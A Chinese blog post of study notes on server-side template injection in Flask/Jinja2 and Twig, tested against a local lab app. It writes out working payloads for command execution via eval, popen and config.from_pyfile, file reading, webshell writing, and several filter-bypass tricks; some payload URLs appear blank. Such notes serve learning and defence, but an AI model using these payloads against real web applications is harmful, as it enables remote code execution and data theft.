模板注入 Fay·D·Flourite

模板注入以及python的一些运用

模板引擎介绍

模板引擎(这里特指用于Web开发的模板引擎)是为了使用户界面与业务数据(内容)分离而产生的,它可以生成特定格式的文档,用于网站的模板引擎就会生成一个标准的HTML文档。
———百度

web开发很多都会基于模板引擎,因为它能将用户界面与内容分离,并生成特定格式的html文档,大大提升开发效率。

模板引擎又有前端和后端之分,基于前端的模板注入就是常见的xss,而基于后端的模板注入除了能引发xss,还能引发诸如rce,lfi等问题。

譬如这段js代码(网上搬的):

 var template = '<p>Hello,my name is <%name%>. I am  <%age%> years old.</p>';

    var data ={
        name:'zyn',
        age:22
    }
    var TemplateEngine = function (tpl,data){
        var regex = /<%([^%>]+)?%>/g;
        while(match = regex.exec(tpl)){
            tpl = tpl.replace(match[0],data[match[1]])
        }
        return tpl
    }
    var string = TemplateEngine(template,data)
    console.log(string);

就可以称为一个简单的前端模板引擎了。它完成的事就是对标签中<% %>的内容进行匹配和替换。而这些值可控且时,就可能造成xss。

又比如常见的jinja2模板引擎:

这里的就是可控对象( 这儿的在jinja2中表示变量 )

这篇文章主要记录服务端端模板注入即ssti

原理及利用

我没找到那么多基于不同引擎的ssti靶场- -,自己也不会java,这里就写哈flask常用的jinja2模板注入和PHP下的Twig模板注入

总归而言,都是因为有外部可控变量供我们操作,要么从全局变量中寻找可用的函数,要么通过类寻找可用的函数,要么就是利用语言的特性寻找可用函数,去执行我们的命令。

所以判断模板类型也非常关键,根据不同的模板以不同的点进行利用

jinja2及python沙盒绕过

ps:xswl,文章里有些地方{|% %|}没用反引号包起来,还给我报错了,直接把页面弄崩了。。。没法加载,实在是没办法所以后面的这些都会在中间加上|(其实是没有的!!!)…各位将就着看

先是jinja2的语法

  • ``表示变量
  • {|% %|}表示控制语句
  • {* *}表示注释

一段基于jinja2的python flask的代码(网上搬的- -):

from flask import Flask
from flask import request, render_template_string, render_template

app = Flask(__name__)

@app.route('/login')
def hello_ssti():
    person = {
        'name': 'hello',
        'secret': '7d793037a0760186574b0282f2f435e7'
    }
    if request.args.get('name'):
        person['name'] = request.args.get('name')
    
    template = '<h2>Hello %s!</h2>' % person['name']

    return render_template_string(template, person=person)

if __name__ == "__main__":
    app.run(debug=True)

xss

可以看到其中的name是用户可控的

首先xss是肯定有的

rce

但除了xss外还有其他可利用的点,譬如:

可以看到,我们使用``后,传入的person.value()被当作了变量处理,直接返回了person中所有的值。

甚至可以用{|% %|}写for语句如下:

http://127.0.0.1:8848/login?name=

接下来就是重头戏,利用ssti进行rce(python沙盒绕过):

一个我实验成功的payload(下面有通用payload,这个更方便理解):

http://127.0.0.1:8848/login?name=

一段一段来分析,先放上一点解释

  • __class__ 返回类型所属的对象
  • __mro__ 返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
  • __base__ 返回该对象所继承的基类 //__base__和__mro__都是用来寻找基类的

  • __subclasses__ 每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表
  • __init__ 类的初始化方法
  • __globals__ 对包含函数全局变量的字典的引用

jinja2中只能用python自带的方法,不然会报错

首先是http://127.0.0.1:8848/login?name=

返回的<class 'str'>表示的是字符串''所属的类(python一切皆对象)

然后是通过str这个类去找object类,用__bro__或者__base__

  • __mro__

http://127.0.0.1:8848/login?name=

__mro__返回的是列表,通过选择列表的值以选择object类

  • __base__

http://127.0.0.1:8848/login?name=

http://127.0.0.1:8848/login?name=

然后通过__subclasses__列出object下的子类,去寻找我们需要的类,即catch_warnings这个函数,因为该模块下有eval函数可供我们执行rce。

我这儿的cat_warnings是第147个类,于是

http://127.0.0.1:8848/login?name=

就选择了cat_Warnings,然后将他初始化

http://127.0.0.1:8848/login?name=

可以看到,初始化后它就变成了一个函数,再查看包含该函数的文件的全局变量:

http://127.0.0.1:8848/login?name=

可以看到全局变量下的字典中的字典'__builtins__'中含有eval函数,调用该eval函数去执行我们想要执行的命令就行了

http://127.0.0.1:8848/login?name=

下面是通用payload:(记得删掉|食用,博客报错我也没办法)

{|%%20for%20c%20in%20[].__class__.__base__.__subclasses__()%20%|}{|%%20if%20c.__name__%20==%20%27catch_warnings%27%20%|}{|%%20for%20b%20in%20c.__init__.__globals__.values()%20%|}{|%%20if%20b.__class__%20==%20{}.__class__%20%|}{|%%20if%20%27eval%27%20in%20b.keys()%20%|}{|%%20endif%20%|}{|%%20endif%20%|}{|%%20endfor%20%|}{|%%20endif%20%|}{|%%20endfor%20%|}

另外,python2中还有commands库可以执行命令,具体如下:

result = commands.getoutput('cmd')   #只返回执行的结果, 忽略返回值. result = commands.getstatus('cmd')   #返回ls -ld file执行的结果. result = commands.getstatusoutput('cmd')  #用os.popen()执行命令cmd, 然后返回两个元素的元组(status, result). cmd执行的方式是{ cmd ; }2>&1, 这样返回结果里面就会包含标准输出和标准错误.

lfi

另外,需要读取文件的话就调用'__builtins__'里的open函数就行了,payload如下

http://127.0.0.1:8848/login?name=

另附通用payload:(删掉|哦)

{|%%20for%20c%20in%20[].__class__.__base__.__subclasses__()%20%|}{|%%20if%20c.__name__%20==%20%27catch_warnings%27%20%|}{|%%20for%20b%20in%20c.__init__.__globals__.values()%20%|}{|%%20if%20b.__class__%20==%20{}.__class__%20%|}{|%%20if%20%27eval%27%20in%20b.keys()%20%|}{|%%20endif%20%|}{|%%20endif%20%|}{|%%20endfor%20%|}{|%%20endif%20%|}{|%%20endfor%20%|}

明白原理后自行修改也非常方便,这样去调用应该和python的类的继承有关系

写shell

也可以通过open()函数的write()方法向文件中写入shell

payload为:(自行修改)

http://127.0.0.1:5000/login?name=

诸如此类。

rce(影逝二度)

绝了,找到个神奇的方法,config类中的from_pyfile()可以向config类中引入一个文件,将其中代码按照python执行(不需要一定为py后缀的文件。)。于是我们引入一个引入os模块中的system函数的文件

from os import system
SHELL = system

http://127.0.0.1:5000/login?name=

可以看到,config类里已经有了名为shell的system函数

再调用该函数去执行命令,可以看到,能执行成功(system)

另外,config中不止有from_pyfile(),诸如from_object()可以引入一个类,from_json可以引入一个json文件(也是文件格式即可),from_envvar调用环境变量。

rce(三回啊三回)

基于上面的from_pyfile()方法试了试直接引入shell执行。我环境在windows所以用的基于socket的python写的shell。

超有意思,页面一直处于加载状态,说明后台的服务端运行成功

跑了哈客户端的脚本,运行成功



后记:

其实不止warnings模块中的catch_warnings可以使用,譬如warnings.WarningMessage,又或是threading.Event,等等等等,都可以实现。如下:

甚至可以直接调用os库而不用eval去import os库

所以不仅仅可以用catch_warnings。能找到合适的函数应该都可以(我函数和方法一直有点懵- -还在学,感觉这篇文章讲的比较清楚,先放这儿)

__global__返回的全局变量字典好像是溯源了函数的来源脚本并提取的来源脚本的全局变量(全局变量中可以看到__file__变量的地址),而如果执行命令chdir(windows)得到的地址却并不是__file__的地址,说明的确是远程调用的函数,即通过类的继承从object基类中找到的可执行函数。

__builtins__是python的内置函数,其中包含了众多函数,如下:

使用效果相同:

另记一些常见过滤绕过方法

  • reload

del __builtins__.__dict__['__import__']可以将__import____builtins__中删除

reload()可以重新载入之前载入的模块

当__builtins__中的一些方法被删时只要reload()一下即可

python3中需要从imp库或者importlib库中调用

from imp import reload
reload(__builtins__)

或者

from importlib import reload
reload(__builtins__)
  • 各种编码

网上有各种编码绕过的方法,但用.decode()解码hex或者base64之类的只能在python2中使用,python3中不能直接用.decode('base64')之类的来解码,且还需要.encode()先行编码才行。需要解码还需引入解码库如import base64(所以不好用)

python2中直接在字符串后跟.decode('base64').decode('hex')之类的即可。

  • 字符串拼接

'd:/1.txt' 切分3为'd:/1''.txt'可以得到相同的效果,如下:

中间有加号没加号都可以

  • timeit模块

本为用于计时代码执行时间的模块,也可以用来执行命令,如:

timeit.timeit("__import__('os').system('whoami')")

  • getattr

  • pop()方法(中括号[]绕过)

pop方法可以删除列表或字典的值并返回(默认删除最后一项),当从元组中返回可执行函数列表后可通过pop方法调用函数(在ssti中可反复使用,并不会删除,大概是因为他每次返回的字典都是从类里的内容直接转的字典吧,所以即使用pop()删了字典中的类容,下一次返回字典还是根据类里面的内容返回的)

  • __getitem__()方法(中括号[]绕过)

__getitem__()返回列表或字典中的值,将上文pop的地方替换为了__getitem__(),有同样的效果

  • 截取字符串进行拼接:

感觉大部分地方都不会派上用场,因为jinja的``中只能用方法,不能用函数单独去调用。但还是记录一下,感觉是个不错的思路

类似以上这种,从已有字符串中截取字符串

  • request.args/request.value(各种字符过滤绕过)

request.args(接受get传参方式)

payload:

http://127.0.0.1:5000/login?name=&cmd=__import__(%22os%22).popen(%27whoami%27).read()&bu=__builtins__&ev=eval

request.value(接受所有传参方式)

payload:

http://127.0.0.1:5000/login?name=%7B%7B().__class__.__mro__%5B1%5D.__subclasses__()%5B146%5D.__init__.__globals__%5Brequest.values.bu%5D%5Brequest.values.ev%5D(request.values.cmd)%7D%7D

再通过post传参:

cmd=__import__("os").popen('whoami').read()&bu=__builtins__&ev=eval

(但是由于flask默认的方式是get,需要在路由中加入methods=["GET","POST"]才能通过post传参,否则会出现The method is not allowed for the requested URL.的错误。)

  • replace()方法(字符串替换以绕过指定字符串的过滤)

挺好理解,不多解释,上图:

  • join()方法(同样是绕过指定字符串的过滤)

join()方法向字符串中加入字符(和字符串拼接差不多)

  • 字符串反向(同样是绕过指定字符串的过滤)

也很好理解,上图

  • 控制语句(绕过``的过滤)

payload:

http://127.0.0.1:5000/login?name={|%%20if%20%27d%27%20in%20%20%27%27.__class__.__mro__[1].__subclasses__().__getitem__(146).__init__.__globals__[%27__snitliub__%27[::-1]][%27eval%27](%27__import__(%22os%22).popen(%22whoami%22).read()%27)%20%|}success{|%endif%|}

用if语句去执行命令,成功即返回success(由于没有回显,所以最好是能直接getshell的那种命令,另外,感觉这个和sql盲注里爆破库名之类的挺相似的,也可以用于暴破一些返回的信息吧)

  • getattr()以及__getattribute__方法

getattr()从内容中获取属性,如:

即从hello类中提取了hello_world()函数。注意,这里提取属性时候是用的字符串形式,所以我们可以利用上面的字符串混淆来绕过一些过滤。但是这是python的自带函数,所以在模板中是用不了的。而作为方法的__getattribute__啧可以使用,如下:

但是好像不能套娃,因为有些里面是没有__getattribute__

  • zipimport模块

zipimport模块中的load_module()可以从一个zip文件中导入模块

结合之前写入的方法,可以以二进制形式写入一个压缩文件,通过该函数进行导入

注:压缩文件中是想要包含的py文件

  • 一些其他的python内置函数

譬如攻防世界有道ssti的题,把flag藏在了flask的config里,而又把config过滤了。这时就可以用其他的内置函数去读,譬如url_for,get_flashed_messages。具体可见shrine这道题。

  • 获取计算机信息

platform模块可以获取一些信息,虽然好像没啥大用,不过还是记录一下,如:

platform.uname()会返回计算机版本呀,计算机架构,cpu平台等信息

具体为以下函数

    system() : 操作系统类型(见例)
    version(): 操作系统版本
    release(): 操作系统发布号, 例如win 7返回7, 还有如NT, 2.2.0之类.
    platform(aliased=0, terse=0): 操作系统信息字符串,扥与system()+win32_ver()[:3]
    win32_ver(release='', version='', csd='', ptype=''): win系统相关信息
    linux_distribution(distname='', version='', id='', supported_dists=(‘SuSE', ‘debiaare', ‘yellowdog', ‘gentoo', ‘UnitedLinux', ‘turbolinux'), full_distribution_name=1): Linux系统相关信息
    dist(distname='', version='', id='', supported_dists=(‘SuSE', ‘debian', ‘fedora', ‘redhat', ‘centos', ‘mandrake', ‘mandriva', ‘rocks', ‘slackware', ‘yellowdog', ‘gentoo', ‘UnitedLinux', ‘turbolinux')): 尝试获取Linux OS发布版本信息.返回(distname,version,id). dist是发布版本的意思.
    mac_ver(release='', versioninfo=(‘', ‘', ‘'), machine=''): mac版本
    java_ver(release='', vendor='', vminfo=(‘', ‘', ‘'), osinfo=(‘', ‘', ‘')): java版本
    libc_ver(executable=r'c:\Python27\python.exe', lib='', version='', chunksize=2048): libc版本,linux相关吧.
    uname(): 返回元组,system, node, release, version, machine, processor.
    architecture(executable=r'c:\Python27\python.exe', bits='', linkage=''): 系统架构
    machine() : CPU平台,AMD,x86?(见例)
    node() : 节点名(机器名,如Hom-T400)
    processor() : CPU信息
    system_alias(system, release, version): 返回相应元组..没何屌用.
    platform.architecture()
    python_version(): py版本号
    python_branch(): python分支(子版本信息),一般为空.
    python_build(): python编译号(default)和日期.
    python_compiler(): py编译器信息
    python_implementation(): python安装履行方式,如CPython, Jython, Pypy, IronPython(.net)等.
    python_revision(): python类型修改版信息,一般为空.
    python_version_tuple():python版本号分割后的tuple.
    popen(cmd, mode='r', bufsize=None): portable popen() 接口,执行各种命令.
    python_verison()

python3里有些函数貌似用不了,如popen,dist,这个模块就只能单纯的获取信息而不能执行命令了。

另外os.environ能返回计算机所有的环境变量

Twig

XVWA的靶场中有现成的Twig模板搭建的ssti靶场

payload为:

``

区分方法为 回显7777777 ==> Jinja2 回显49 ==> Twig

看了些解释,也查了查twig的官方文档,_self是全局变量,env是代表的Twig_environment对象,然后用registerUndefinedFunctionCallback()方法将exec作为回调函数传入,再传入命令就能命令执行了。

查了还是有点不懂,包括调用了函数为啥就把后面的命令执行了…还有getFilter这个方法我没在官方文档里找到,包括php的官方文档里也没有,感觉有点莫名其妙

(233333感觉写成了python专场)

这篇是我看到的总结算是最全面的文章了,安利一下:

https://www.k0rz3n.com/2018/11/12/%E4%B8%80%E7%AF%87%E6%96%87%E7%AB%A0%E5%B8%A6%E4%BD%A0%E7%90%86%E8%A7%A3%E6%BC%8F%E6%B4%9E%E4%B9%8BSSTI%E6%BC%8F%E6%B4%9E/

另外,知乎也有篇比较全面的:

https://zhuanlan.zhihu.com/p/28823933